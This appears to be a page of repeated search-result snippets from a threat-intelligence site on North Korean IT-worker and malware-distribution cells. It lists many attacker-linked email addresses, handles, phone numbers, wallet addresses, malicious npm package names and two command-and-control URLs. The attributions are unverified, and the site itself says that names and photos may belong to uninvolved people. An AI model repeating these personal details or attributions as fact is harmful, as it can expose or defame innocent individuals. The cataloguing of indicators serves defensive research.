Attacker-controlled email address April 2026 gusb@ondofinance.tech Email address Attacker-controlled email address April 2026 jasen@empowerpharmacy.space Email…","…scott.brown0629@gmail.com[email protected] scott.brown00629@gmail.com[email protected] guzmandelfino1992@gmail.com[email protected] codelover111@gmail.com[email protected] alexnikolaos007@gmail.com[email protected]…","…ambinharun1010@gmail.com minamotohitoshi912@gmail.com muhammadhamid4760@gmail.com scott.brown0629@gmail.com scott.brown00629@gmail.com guzmandelfino1992@gmail.com codelover111@gmail.com alexnikolaos007@gmail.com botofprince@gmail.com jaggiusman@gmail.com boava94722@gmail.com rabbitking0130@gmail…","…email insider N/A N/A Git mirror developer identity 2 bukoyesamuel9@gmail.com email insider N/A N/A Git mirror developer identity 2 gwanchi@gmail.com email insider N/A N/A Git mirror developer identity 2 efezinoukpowe@gmail.com email insider N/A N/A Git mirror developer identity 2…","…of Uzbekistan (account number redacted) · Payoneer (Unity) External 🟢 Confirmed @12-psi Group 12 Pyo Se Il Cover: \"Hirose Ibuki\" (gya77barara@gmail.com[email protected] ) · Lancers.jp Japan · Payoneer (Unity) External 🟢 Confirmed @12-jms Group 12 Jang Myong Song Cover: \"Erkin…","…of Uzbekistan (account number redacted) · Payoneer (Unity) External 🟢 Confirmed @12-psi Group 12 Pyo Se Il Cover: \"Hirose Ibuki\" (gya77barara@gmail.com) · Lancers.jp Japan · Payoneer (Unity) External 🟢 Confirmed @12-jms Group 12 Jang Myong Song Cover: \"Erkin Xabibulloyev\"…","…monster1117 marilin jasonharry1988 davidmoberly vitalii0021 rory210 jasonharry198852 millos Email Addresses # h96452582@gmail.com devin.s@gedu.demo.ta-39.com csilvagalaxy87@gmail.com souzaporto800@gmail.com dmytroputko@gmail.com drgru854@gmail.com…","…devin1571@outlook.com star712418@gmail.com jinping0822@outlook.com davisjosephinewnk807@outlook.com jaksonas11@outlook.com hades19910712@outlook.com Command and Control (C2) Endpoints # https://soc-log.vercel.app/api/ipcheck https://1215.vercel.app/api/ipcheck…","…email insider N/A N/A Threat actor persona email 4 aronnokunjo@gmail.com email insider N/A N/A Threat actor persona email 4 hadiulislam391@gmail.com email insider N/A N/A Threat actor persona email 4 mahdi39980@gmail.com email insider N/A N/A Threat actor persona email 4…","…buyerlao@outlook.com casey_qadir@outlook.com cescernand@outlook.com devstar1116@gmail.com ebcappservices@gmail.com hakajakin@outlook.com ideationbrand@gmail.com legend_dev@outlook.com liko.sonexarth@gmail.com liko.sonexarth@hotmail.com longines0924@gmail.com…","Hayden McKenzie publishes this as one of the aliases recovered from a DPRK IT worker cell's own files, on a per-alias record that gives its location as Kingsville, Ontario and the role it presents as Senior Full stack & Blockchain Developer, and the contact details above. Across the site's records, +14326141112 also appears on the record for Jeremy Michael. The record was not on the site when this one first read it on 22 September 2026 and appeared alongside the report The Women Behind North Korea's IT Worker Operations, published on 23 September, so that is the date cited. The name is the identity the operation presents, not the operator's; a real person whose name or details it may have been assembled from is not the worker.","…- - $30/hour - Pak Kwang Il Robert@gmail.com Robert Romania United States $4,000/month 3 months Pak Myong Il haleyhtnt1122@gmail.com Haley Vietnam United States $30/hour, 40 hours/week - haleyhtnt1122@gmail.com Haley Vietnam United States $35/hour,…","…0329@gmail.com gruagnes1031@gmail.com guardjck@gmail.com guillermo.tallon@madeforthat.org guogan1988226@gmail.com guru1628823.tts@gmail.com haltopulma@gufum.com handsomeprince1125@gmail.com happinessman0417@gmail.com happinessman0417@skiff.com happy15422@skiff.com happyday03518@gmail.com happydevelo…","…chai-as-init 2026-04-16 graph first seen hello@jsonspack.com chai-as-inserted 2026-04-02 live registry hamiltonaudreyttx723@hotmail.com chai-as-mobj 2026-03-20 live registry tonycarr1010@outlook.com chai-as-nobj 2026-04-15 graph first seen…","…2026-08-10 process-live-log (11.5.2) 2026-08-10 hammad.almanaratheights <hammad.almanaratheights@gmail.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…es1031@gmail.com guardjck@gmail.com guillermo.tallon@madeforthat.org guogan1988226@gmail.com guru1628823.tts@gmail.com haltopulma@gufum.com handsomeprince1125@gmail.com happinessman0417@gmail.com happinessman0417@skiff.com happy15422@skiff.com happyday03518@gmail.com happydeveloper0816@gmail.com happygru237…","…and the operator. One email address One of the packages, scrollbar-hide-plugin , was registered by author sun117 with the address handy.apple117@gmail.com .…","…umnhappyfamily@gmail.com blue621dream@gmail.com james.jenaty031@gmail.com quangtu676957e1525ncz@hotmail.com danhphoze_2364@hotmail.com hangquan5594sxbf72@hotmail.com mahamaslam805@gmail.com adamvenord8@gmail.com Appendix B: Software Indicators The following software versions have been observed in…","…on.h.tneg18@gmail.com leptointel213@gmail.com clark.pickles30@proton.me dkwebigo416@gmail.com zhangxu57477@gmail.com kholodroman6@gmail.com hanhd7231@gmail.com artemyaroshenko540@gmail.com ratushniakoleksii8@gmail.com sparukgena@gmail.com joshuagosney.dev.web@gmail.com hungpham.web3@gmail.com mak.m…","…goldsea808@gmail.com - goldsea808@yahoo.com - mrsteevtvw418@gmail.com - ichiro@0xlancerlab.com - hanssuperdev1026@gmail.com - hansjkiller1026@outlook.com - tomasjakson44@gmail.com - ssch26802@gmail.com - williamh8930@gmail.com - github.com/thomson0313 - github.com/fullstackdev8681 -…","…epan0209@gmail.com jamesybarra114@gmail.com mrsteevtvw418@gmail.com toptalent48@gmail.com ichiro@0xlancerlab.com hanssuperdev1026@gmail.com hansjkiller1026@outlook.com tomasjakson44@gmail.com ssch26802@gmail.com williamh8930@gmail.com Github: thomson0313 fullstackdev8681 louistalent galaxy-foundation gala…","…salbu15154@gmail.com - goldsea808@gmail.com - goldsea808@yahoo.com - mrsteevtvw418@gmail.com - ichiro@0xlancerlab.com - hanssuperdev1026@gmail.com - hansjkiller1026@outlook.com - tomasjakson44@gmail.com - ssch26802@gmail.com - williamh8930@gmail.com - github.com/thomson0313 -…","…goldsea808@yahoo.com alexstepan0209@gmail.com jamesybarra114@gmail.com mrsteevtvw418@gmail.com toptalent48@gmail.com ichiro@0xlancerlab.com hanssuperdev1026@gmail.com hansjkiller1026@outlook.com tomasjakson44@gmail.com ssch26802@gmail.com williamh8930@gmail.com Github: thomson0313 fullstackdev8681 louist…","…Holmes Ming - 2025 - friends w Keisuke - Holmes - Holmes Ming - h0lme3 - HaoqingMing - haodev007 - stabble-dev - haodev007@gmail.com - h0lmes - stabbledev - x.com/haodev007 - github.com/h0lme3 •…","…il.com guillermo.tallon@madeforthat.org guogan1988226@gmail.com guru1628823.tts@gmail.com haltopulma@gufum.com handsomeprince1125@gmail.com happinessman0417@gmail.com happinessman0417@skiff.com happy15422@skiff.com happyday03518@gmail.com happydeveloper0816@gmail.com happygru237@gmail.com happysmiler00@gm…","…eforthat.org guogan1988226@gmail.com guru1628823.tts@gmail.com haltopulma@gufum.com handsomeprince1125@gmail.com happinessman0417@gmail.com happinessman0417@skiff.com happy15422@skiff.com happyday03518@gmail.com happydeveloper0816@gmail.com happygru237@gmail.com happysmiler00@gmail.com happysuperevil601@g…","…gmail.com guru1628823.tts@gmail.com haltopulma@gufum.com handsomeprince1125@gmail.com happinessman0417@gmail.com happinessman0417@skiff.com happy15422@skiff.com happyday03518@gmail.com happydeveloper0816@gmail.com happygru237@gmail.com happysmiler00@gmail.com happysuperevil601@gmail.com happysuperst…","…hazardvictor@hotmail.com - linkedin.com/in/victor-hazard-77ba40305 - github.com/black02430horse - github.com/hazardvictor - happy3guy@gmail.com - victordev67@gmail.com - 0xefcb06b5ea58fb451c64ec278d957f4ebfd26df7 - 0xfba526813d70be714032c7e2554a4fc239627d75 Gnosis Safe -…","…insider N/A N/A Threat actor-controlled email 1 gtracks.onelink@gmail.com email insider N/A N/A Threat actor-controlled email 1 happycoder1111@gmail.com email insider N/A N/A Threat actor-controlled email 1 happyleonardo77@gmail.com email insider N/A N/A Threat actor-controlled email 1…","….tts@gmail.com haltopulma@gufum.com handsomeprince1125@gmail.com happinessman0417@gmail.com happinessman0417@skiff.com happy15422@skiff.com happyday03518@gmail.com happydeveloper0816@gmail.com happygru237@gmail.com happysmiler00@gmail.com happysuperevil601@gmail.com happysuperstar601@gmail.com hardcarr…","…a@gufum.com handsomeprince1125@gmail.com happinessman0417@gmail.com happinessman0417@skiff.com happy15422@skiff.com happyday03518@gmail.com happydeveloper0816@gmail.com happygru237@gmail.com happysmiler00@gmail.com happysuperevil601@gmail.com happysuperstar601@gmail.com hardcarry0920@gmail.com haris.berg98@…","…5@gmail.com happinessman0417@gmail.com happinessman0417@skiff.com happy15422@skiff.com happyday03518@gmail.com happydeveloper0816@gmail.com happygru237@gmail.com happysmiler00@gmail.com happysuperevil601@gmail.com happysuperstar601@gmail.com hardcarry0920@gmail.com haris.berg98@gmail.com harrisdarlen…","…email insider N/A N/A Threat actor-controlled email 1 happycoder1111@gmail.com email insider N/A N/A Threat actor-controlled email 1 happyleonardo77@gmail.com email insider N/A N/A Threat actor-controlled email 1 hittapa9@gmail.com email insider N/A N/A Threat actor-controlled email 1…","Published on 17 May 2025 in a thread the researcher opened with \"Lets play a profile picture game! Here are a few fun DPRK ITW/remote worker profile pics and their associated emails.\" Each post in it pairs one address with the profile photograph used alongside it. This entry is one such post: the address happysmiler00@gmail.com and the picture below it. The photograph is mirrored here because these posts are the only published record of the face an operator presented, and the accounts they came from are routinely deleted. It is not evidence of who operates the address: a profile picture in this dataset is as likely to be generated, stock, or taken from an uninvolved person. The researcher gives no name, and the address does not read as one, so the page is filed under the address’s own local part rather than under a name invented for it.","…an0417@gmail.com happinessman0417@skiff.com happy15422@skiff.com happyday03518@gmail.com happydeveloper0816@gmail.com happygru237@gmail.com happysmiler00@gmail.com happysuperevil601@gmail.com happysuperstar601@gmail.com hardcarry0920@gmail.com haris.berg98@gmail.com harrisdarlene@skiff.com harrrygb1225…","…ssman0417@skiff.com happy15422@skiff.com happyday03518@gmail.com happydeveloper0816@gmail.com happygru237@gmail.com happysmiler00@gmail.com happysuperevil601@gmail.com happysuperstar601@gmail.com hardcarry0920@gmail.com haris.berg98@gmail.com harrisdarlene@skiff.com harrrygb1225@gmail.com harry.poter@madef…","…22@skiff.com happyday03518@gmail.com happydeveloper0816@gmail.com happygru237@gmail.com happysmiler00@gmail.com happysuperevil601@gmail.com happysuperstar601@gmail.com hardcarry0920@gmail.com haris.berg98@gmail.com harrisdarlene@skiff.com harrrygb1225@gmail.com harry.poter@madeforthat.org harrychendev226@g…","…than unrelated account naming Figure 17: bright0220 patch commit details The bright0220 account is associated with the email address happysuperstar601@gmail.com, as shown in the referenced image.…","…gddavila.tomas510727@outlook.com greenhousebuyersclub77084@gmail.com greenviewagent00541@gmail.com harborviewproperty07246@gmail.com henrylynbunnh91@hotmail.com homedealconnect81891@gmail.com homesearchpro99483@gmail.com homesolutionsnow95843@gmail.com…","…mail.com happydeveloper0816@gmail.com happygru237@gmail.com happysmiler00@gmail.com happysuperevil601@gmail.com happysuperstar601@gmail.com hardcarry0920@gmail.com haris.berg98@gmail.com harrisdarlene@skiff.com harrrygb1225@gmail.com harry.poter@madeforthat.org harrychendev226@gmail.com harrydev0724@gm…","…816@gmail.com happygru237@gmail.com happysmiler00@gmail.com happysuperevil601@gmail.com happysuperstar601@gmail.com hardcarry0920@gmail.com haris.berg98@gmail.com harrisdarlene@skiff.com harrrygb1225@gmail.com harry.poter@madeforthat.org harrychendev226@gmail.com harrydev0724@gmail.com harryluck505@gm…","…37@gmail.com happysmiler00@gmail.com happysuperevil601@gmail.com happysuperstar601@gmail.com hardcarry0920@gmail.com haris.berg98@gmail.com harrisdarlene@skiff.com harrrygb1225@gmail.com harry.poter@madeforthat.org harrychendev226@gmail.com harrydev0724@gmail.com harryluck505@gmail.com hatoyama1115+22@…","…00@gmail.com happysuperevil601@gmail.com happysuperstar601@gmail.com hardcarry0920@gmail.com haris.berg98@gmail.com harrisdarlene@skiff.com harrrygb1225@gmail.com harry.poter@madeforthat.org harrychendev226@gmail.com harrydev0724@gmail.com harryluck505@gmail.com hatoyama1115+22@gmail.com hatoyama1115@…","…evil601@gmail.com happysuperstar601@gmail.com hardcarry0920@gmail.com haris.berg98@gmail.com harrisdarlene@skiff.com harrrygb1225@gmail.com harry.poter@madeforthat.org harrychendev226@gmail.com harrydev0724@gmail.com harryluck505@gmail.com hatoyama1115+22@gmail.com hatoyama1115@gmail.com hawkpeter0324@gmai…","…vite-enhancer-config 2026-04-18 live registry kristinedeboeck@outlook.com vite-json-config 2026-04-15 live registry harry.stev513@outlook.com wime-zle 2026-03-26 live registry bilalkilnaz.54@gmail.com Publisher emails (64) Publisher email Linked packages…","…star601@gmail.com hardcarry0920@gmail.com haris.berg98@gmail.com harrisdarlene@skiff.com harrrygb1225@gmail.com harry.poter@madeforthat.org harrychendev226@gmail.com harrydev0724@gmail.com harryluck505@gmail.com hatoyama1115+22@gmail.com hatoyama1115@gmail.com hawkpeter0324@gmail.com haxoni1552@viperace.…","…y0920@gmail.com haris.berg98@gmail.com harrisdarlene@skiff.com harrrygb1225@gmail.com harry.poter@madeforthat.org harrychendev226@gmail.com harrydev0724@gmail.com harryluck505@gmail.com hatoyama1115+22@gmail.com hatoyama1115@gmail.com hawkpeter0324@gmail.com haxoni1552@viperace.com hdreamdev@gmail.com…","…Year in Review lujancamryn405@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review harryjason19880502@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review fraserhutchison1@hotmail.com email malware…","…erg98@gmail.com harrisdarlene@skiff.com harrrygb1225@gmail.com harry.poter@madeforthat.org harrychendev226@gmail.com harrydev0724@gmail.com harryluck505@gmail.com hatoyama1115+22@gmail.com hatoyama1115@gmail.com hawkpeter0324@gmail.com haxoni1552@viperace.com hdreamdev@gmail.com heidikalatasra20@gmail…","…2026-08-06 vitest-preview-pro-all (10.0.3) 2026-08-06 grayson_cole <harrypotter060327@gmail.com> api.jsonbin.io https://api.jsonbin.io/v3/b/6a719632da38895dfeb7128d…","…Year in Review meirjacob727@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review harry.work206@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review abdelrahman5520032019@gmail.com email malware…","…to malicious repository ferexmoto6@gmail.com Commits to malicious repository gorakh626@gmail.com Commits to malicious repository harry.work206@gmail.com Commits to malicious repository huicanvie2014@gmail.com Commits to malicious repository j.ames90@hotmail.com Commits to malicious…","…Haruto Miura - linked to TopDev707 - x.com/haruto918miura - github.com/angeldev918 - github.com/h918m - topdev707@gmail.com - haruto918miura@gmail.com - +16094590680 - https://x.com/browsercookies/status/1932932373609586853 - ![](./1932932373609586853-1.png) -…","…rdev9726@outlook.com anydev1103@gmail.com fulldev114@outlook.com masterdev1027@gmail.com boriszhang1021@gmail.com topdev1228@protonmail.com hasan.musaj312@protonmail.com toshyodev@outlook.com slark0704@gmail.com helios9116@outlook.com cleanlake412@hotmail.com masterdev1027@gmail.com https://github.com/smart…","…seniordev9726@outlook.com - anydev1103@gmail.com - fulldev114@outlook.com - boriszhang1021@gmail.com - topdev1228@protonmail.com - hasan.musaj312@protonmail.com - toshyodev@outlook.com - slark0704@gmail.com - helios9116@outlook.com - cleanlake412@hotmail.com - masterdev1027@gmail.com -…","…om lucasli.dream1218917@gmail.com kenjitamm@gmail.com shan.shan.eth1994@gmail.com daniellee.dev1@gmail.com markuslaandream1218917@gmail.com hasibullahnasseri986@gmail.com CharlieWang1218917.dream@proton.me andriisokyrka@gmail.com dreamit.dev1218917@gmail.com stevenbakarich607@gmail.com larryjam.henry.iv@gmail…","…225@gmail.com harry.poter@madeforthat.org harrychendev226@gmail.com harrydev0724@gmail.com harryluck505@gmail.com hatoyama1115+22@gmail.com hatoyama1115@gmail.com hawkpeter0324@gmail.com haxoni1552@viperace.com hdreamdev@gmail.com heidikalatasra20@gmail.com helemonar2023@gmail.com hellojohnsmith0521@g…","…er@madeforthat.org harrychendev226@gmail.com harrydev0724@gmail.com harryluck505@gmail.com hatoyama1115+22@gmail.com hatoyama1115@gmail.com hawkpeter0324@gmail.com haxoni1552@viperace.com hdreamdev@gmail.com heidikalatasra20@gmail.com helemonar2023@gmail.com hellojohnsmith0521@gmail.com hendrik.flynn@m…","…chendev226@gmail.com harrydev0724@gmail.com harryluck505@gmail.com hatoyama1115+22@gmail.com hatoyama1115@gmail.com hawkpeter0324@gmail.com haxoni1552@viperace.com hdreamdev@gmail.com heidikalatasra20@gmail.com helemonar2023@gmail.com hellojohnsmith0521@gmail.com hendrik.flynn@minofangle.org henrybaldo…","…![](./1934285777699230194-3.png) #### Hayato Suzuki - t.me/WebTalent0123 (ID: 5131829846) - github.com/FrontEndGod - hayatosuzuki0123@gmail.com - https://x.com/browsercookies/status/1934285777699230194 - ![](./1934285777699230194-4.png) #### topcodebeast -…","…9496101c96f3882c29fbabca5da83d126bd495027535a2c497f88a9a22b5620c 2026-08-12 velora-kit (12.1.2) 2026-08-12 leonardo0908 <haytianhong@gmail.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…Signer on Safe 0x0f4 - 0x48f64eb919f72a8ea6b8b86f7a54a3761e53d5dc Signer on Safe 0x0f4 #### Victor Hazard - vihazard430@gmail.com - hazardvictor@hotmail.com - linkedin.com/in/victor-hazard-77ba40305 - github.com/black02430horse - github.com/hazardvictor - happy3guy@gmail.com -…","…rydev0724@gmail.com harryluck505@gmail.com hatoyama1115+22@gmail.com hatoyama1115@gmail.com hawkpeter0324@gmail.com haxoni1552@viperace.com hdreamdev@gmail.com heidikalatasra20@gmail.com helemonar2023@gmail.com hellojohnsmith0521@gmail.com hendrik.flynn@minofangle.org henrybaldovino81@gmail.com her…","…goldenrhynodev@gmail.com grayce@xuchuyen.com guograce902@gmail.com guilddmelihb2r@hotmail.com hmax23410@gmail.com hectorramirez008@outlook.com hendriksenelise727@gmail.com hiroshi.watanabe1011@gmail.com holppkgaske6i75@outlook.com iandavies2313@gmail.com…","…harryluck505@gmail.com hatoyama1115+22@gmail.com hatoyama1115@gmail.com hawkpeter0324@gmail.com haxoni1552@viperace.com hdreamdev@gmail.com heidikalatasra20@gmail.com helemonar2023@gmail.com hellojohnsmith0521@gmail.com hendrik.flynn@minofangle.org henrybaldovino81@gmail.com hercules428u+c3co86omol@gmail.…","…yama1115+22@gmail.com hatoyama1115@gmail.com hawkpeter0324@gmail.com haxoni1552@viperace.com hdreamdev@gmail.com heidikalatasra20@gmail.com helemonar2023@gmail.com hellojohnsmith0521@gmail.com hendrik.flynn@minofangle.org henrybaldovino81@gmail.com hercules428u+c3co86omol@gmail.com hfish7789@gmail.com…","…npmjs-doc-builder 2026-04-01 live registry thomasharvey1128@gmail.com path-addon 2026-04-17 live registry helensilva196115@gmail.com peptide-score 2026-03-27 graph first seen rich.swift225@gmail.com peptideenv 2026-04-13 live registry…","…ev1027@gmail.com fulldev317@gmail.com codeknight0707@gmail.com seniordev9726@outlook.com dreamcomes0704@gmail.com topdev1228@protonmail.com helios0912@outlook.com smartfox1203@gmail.com \"star\", \"dev\", \"pro\", \"senior\", and \"coder\" are typical keywords seen in the emails, usually followed by 3 or 4…","…ev1027@gmail.com boriszhang1021@gmail.com topdev1228@protonmail.com hasan.musaj312@protonmail.com toshyodev@outlook.com slark0704@gmail.com helios9116@outlook.com cleanlake412@hotmail.com masterdev1027@gmail.com https://github.com/smartfox1203 https://github.com/hellovlady https://github.com/fulldev3…","…boriszhang1021@gmail.com - topdev1228@protonmail.com - hasan.musaj312@protonmail.com - toshyodev@outlook.com - slark0704@gmail.com - helios9116@outlook.com - cleanlake412@hotmail.com - masterdev1027@gmail.com - github.com/smartfox1203 - github.com/hellovlady - github.com/fulldev317 -…","…toyama1115@gmail.com hawkpeter0324@gmail.com haxoni1552@viperace.com hdreamdev@gmail.com heidikalatasra20@gmail.com helemonar2023@gmail.com hellojohnsmith0521@gmail.com hendrik.flynn@minofangle.org henrybaldovino81@gmail.com hercules428u+c3co86omol@gmail.com hfish7789@gmail.com hidev237@gmail.com hidev537@g…","…0xMooncity is most likely the other g0drlc identity. Github URL: https://github.com/0xMooncity E-mails: hellomooncity@gmail.com, shaina42mcdermottjgv@hotmail.com Portfolio: https://www.mooncity.io 0xMooncity also started to operate his own organization in the…","…{\"id\":\"28bf2491df27fbd2\",\"type\":\"text\",\"text\":\"hellomooncity@gmail.com\",\"x\":4293,\"y\":2960,\"width\":255,\"height\":60,\"color\":\"4\"},…","…) christopher.smith471014 (christopher.smith471014@gmail.com) 2026-02-26 10:16:52 sequelization v6.40.2 ( download ) hello.mr.jr29 (hello.mr.jr29@gmail.com) 2026-02-26 10:09:45 undicy-lint v7.23.1 ( download ) patrick.sullivan1896 (patrick.sullivan1896@gmail.com) 2026-02-26 10:05:58…","…Tài khoản của kẻ tấn công helpdesk@Progressive934.onmicrosoft .com - Tài khoản của kẻ tấn công (tên hiển thị \"System Administrator\") Progressive934.onmicrosoft.com - Tên miền tenant của kẻ tấn…","…kiểm toán (audit log) của Teams xác nhận một cuộc trò chuyện OneOnOne xuyên tenant được khởi tạo từ tài khoản do kẻ tấn công kiểm soát: helpdesk@Progressive934.onmicrosoft.com (tài khoản của kẻ tấn công) 310e9ead-4f6f-491e-aafe-feb08c8d17a4 (tenant ID của kẻ tấn công) HasForeignTenantUsers: true Phiên làm việc…","…r0324@gmail.com haxoni1552@viperace.com hdreamdev@gmail.com heidikalatasra20@gmail.com helemonar2023@gmail.com hellojohnsmith0521@gmail.com hendrik.flynn@minofangle.org henrybaldovino81@gmail.com hercules428u+c3co86omol@gmail.com hfish7789@gmail.com hidev237@gmail.com hidev537@gmail.com higher.arrow.b59b73@…","…grayce@xuchuyen.com guograce902@gmail.com guilddmelihb2r@hotmail.com hmax23410@gmail.com hectorramirez008@outlook.com hendriksenelise727@gmail.com hiroshi.watanabe1011@gmail.com holppkgaske6i75@outlook.com iandavies2313@gmail.com jackson.tf7.eth@gmail.com…","…hotaruemori@gmail.com veerapandianvijai@gmail.com akijohansson116@gmail.com paulmillet0803@gmail.com henryan373@gmail.com wulong.sky@gmail.com saburo.snow@gmail.com stanleyc.sky@gmail.com longx695@gmail.com dragonfighter0120@gmail.com garciav.dev@gmail.co…","…perace.com hdreamdev@gmail.com heidikalatasra20@gmail.com helemonar2023@gmail.com hellojohnsmith0521@gmail.com hendrik.flynn@minofangle.org henrybaldovino81@gmail.com hercules428u+c3co86omol@gmail.com hfish7789@gmail.com hidev237@gmail.com hidev537@gmail.com higher.arrow.b59b73@gizmotik.com hillerwilliam0…","A single post addressed to the X account, which the researcher says keeps changing names, listing two GitHub accounts and three Gmail addresses under it; the addresses are written as local parts in the post and completed here with the domain the post names. Two of the addresses carry the names Oliver Boucher and Henry Campbell, which the post does not otherwise state, so neither is recorded as an alias. Three screenshots accompany the post.","…{\"id\":\"4d40be1516df5389\",\"type\":\"text\",\"text\":\"henry.campbell.1225@gmail.com\",\"x\":-2980,\"y\":820,\"width\":335,\"height\":61,\"color\":\"4\"},…","…greenhousebuyersclub77084@gmail.com greenviewagent00541@gmail.com harborviewproperty07246@gmail.com henrylynbunnh91@hotmail.com homedealconnect81891@gmail.com homesearchpro99483@gmail.com homesolutionsnow95843@gmail.com horizonpropertyteam88973@gmail.com…","…joshuagosney.dev.web@gmail.com hungpham.web3@gmail.com mak.martynenko22@gmail.com mark.developer.2006@gmail.com kevin.tsang.coder@gmail.com henry.zhang@gmail.com viacheslay.zadorozhnyi3863@gmail.com lucasli.dream1218917@gmail.com kenjitamm@gmail.com shan.shan.eth1994@gmail.com daniellee.dev1@gmail.co…","…rodolfguerr@gmail.com david262721@outlook.com chulovskaolena@outlook.com oleksandrkazadaiev522@gmail.com hera19970204@outlook.com zeus19970204@outlook.com imanwdr30@hotmail.com scarlet112603@outlook.com garnerbrandy1230@gmail.com…","…com heidikalatasra20@gmail.com helemonar2023@gmail.com hellojohnsmith0521@gmail.com hendrik.flynn@minofangle.org henrybaldovino81@gmail.com hercules428u+c3co86omol@gmail.com hfish7789@gmail.com hidev237@gmail.com hidev537@gmail.com higher.arrow.b59b73@gizmotik.com hillerwilliam0829@gmail.com hiqdevlord@gmail.com…","…Zhou - James Ybarra - Leo Pawel - Powel Lee - hexiao33@gmail.com - hexiao33@yahoo.com - hexiao33@hotmail.com - hexiao33@mail.ru - hexiao31@mail.ru - hexiao32@mail.ru - hexiao34@mail.ru - 4445313@qq.com - peterzhou0802@gmail.com - kawabatakyo0922@outlook.com -…","…hexiao33@yahoo.com[email protected] hexiao33@hotmail.com[email protected] hexiao33@mail.ru[email protected] hexiao31@mail.ru[email protected] hexiao32@mail.ru[email protected] hexiao34@mail.ru[email protected] 4445313@qq.com[email protected]…","…He: --------------------------------------------- Emails: hexiao33@gmail.com hexiao33@yahoo.com hexiao33@hotmail.com hexiao33@mail.ru hexiao31@mail.ru hexiao32@mail.ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gmail.com kawabatakyo0922@outlook.com jamesybarra114@gmail.com jo.hnceballos…","…Leo Pawel - Powel Lee - hexiao33@gmail.com - hexiao33@yahoo.com - hexiao33@hotmail.com - hexiao33@mail.ru - hexiao31@mail.ru - hexiao32@mail.ru - hexiao34@mail.ru - 4445313@qq.com - peterzhou0802@gmail.com - kawabatakyo0922@outlook.com - jamesybarra114@gmail.com -…","…hexiao33@hotmail.com[email protected] hexiao33@mail.ru[email protected] hexiao31@mail.ru[email protected] hexiao32@mail.ru[email protected] hexiao34@mail.ru[email protected] 4445313@qq.com[email protected] peterzhou0802@gmail.com[email protected]…","…-------------------------------------- Emails: hexiao33@gmail.com hexiao33@yahoo.com hexiao33@hotmail.com hexiao33@mail.ru hexiao31@mail.ru hexiao32@mail.ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gmail.com kawabatakyo0922@outlook.com jamesybarra114@gmail.com jo.hnceballos0716@gmail.com hu…","…![](./X_2025-11-22_DerekMillerDev.png) #### Xiao He - Xiao He - He Shawn - Peter Zhou - James Ybarra - Leo Pawel - Powel Lee - hexiao33@gmail.com - hexiao33@yahoo.com - hexiao33@hotmail.com - hexiao33@mail.ru - hexiao31@mail.ru - hexiao32@mail.ru - hexiao34@mail.ru -…","…Miller Xiao He: --------------------------------------------- Emails: hexiao33@gmail.com hexiao33@yahoo.com hexiao33@hotmail.com hexiao33@mail.ru hexiao31@mail.ru hexiao32@mail.ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gm…","…Xiao He - Xiao He - He Shawn - Peter Zhou - James Ybarra - Leo Pawel - Powel Lee - hexiao33@gmail.com - hexiao33@yahoo.com - hexiao33@hotmail.com - hexiao33@mail.ru - hexiao31@mail.ru - hexiao32@mail.ru - hexiao34@mail.ru - 4445313@qq.com - peterzhou0802@gmail.com -…","…Miller Xiao He: --------------------------------------------- Emails: hexiao33@gmail.com hexiao33@yahoo.com hexiao33@hotmail.com hexiao33@mail.ru hexiao31@mail.ru hexiao32@mail.ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gmail.com kawabatakyo0922@outlook.com jame…","…He Shawn - Peter Zhou - James Ybarra - Leo Pawel - Powel Lee - hexiao33@gmail.com - hexiao33@yahoo.com - hexiao33@hotmail.com - hexiao33@mail.ru - hexiao31@mail.ru - hexiao32@mail.ru - hexiao34@mail.ru - 4445313@qq.com - peterzhou0802@gmail.com - kawabatakyo0922@outlook.com -…","…hexiao33@yahoo.com[email protected] hexiao33@hotmail.com[email protected] hexiao33@mail.ru[email protected] hexiao31@mail.ru[email protected] hexiao32@mail.ru[email protected] hexiao34@mail.ru[email protected]…","…Miller Xiao He: --------------------------------------------- Emails: hexiao33@gmail.com hexiao33@yahoo.com hexiao33@hotmail.com hexiao33@mail.ru hexiao31@mail.ru hexiao32@mail.ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gmail.com kawabatakyo0922@outlook.com jamesybarra114@gmail.…","…Xiao He - Xiao He - He Shawn - Peter Zhou - James Ybarra - Leo Pawel - Powel Lee - hexiao33@gmail.com - hexiao33@yahoo.com - hexiao33@hotmail.com - hexiao33@mail.ru - hexiao31@mail.ru - hexiao32@mail.ru - hexiao34@mail.ru - 4445313@qq.com -…","…Miller Xiao He: --------------------------------------------- Emails: hexiao33@gmail.com hexiao33@yahoo.com hexiao33@hotmail.com hexiao33@mail.ru hexiao31@mail.ru hexiao32@mail.ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gmail.com kawabatakyo…","…Lee - hexiao33@gmail.com - hexiao33@yahoo.com - hexiao33@hotmail.com - hexiao33@mail.ru - hexiao31@mail.ru - hexiao32@mail.ru - hexiao34@mail.ru - 4445313@qq.com - peterzhou0802@gmail.com - kawabatakyo0922@outlook.com - jamesybarra114@gmail.com - jo.hnceballos0716@gmail.com -…","…hexiao33@mail.ru[email protected] hexiao31@mail.ru[email protected] hexiao32@mail.ru[email protected] hexiao34@mail.ru[email protected] 4445313@qq.com[email protected] peterzhou0802@gmail.com[email protected] kawabatakyo0922@outlook.com[email protected]…","…--------------------- Emails: hexiao33@gmail.com hexiao33@yahoo.com hexiao33@hotmail.com hexiao33@mail.ru hexiao31@mail.ru hexiao32@mail.ru hexiao34@mail.ru 4445313@qq.com peterzhou0802@gmail.com kawabatakyo0922@outlook.com jamesybarra114@gmail.com jo.hnceballos0716@gmail.com hughnolan88@gmail.c…","…miclegoden - LOVES to leak the private code which earned him a DMCA takedown on Github ### hexnome - OuraKano - x.com/hexnome - hexnome88@gmail.com - kevinsmartinez0412@gamil.com - t.me/Ee1030109 (ID: 7147733300) • [Messages](./user-7147733300-@Ee1030109.txt) - github.com/hexnome ###…","…emonar2023@gmail.com hellojohnsmith0521@gmail.com hendrik.flynn@minofangle.org 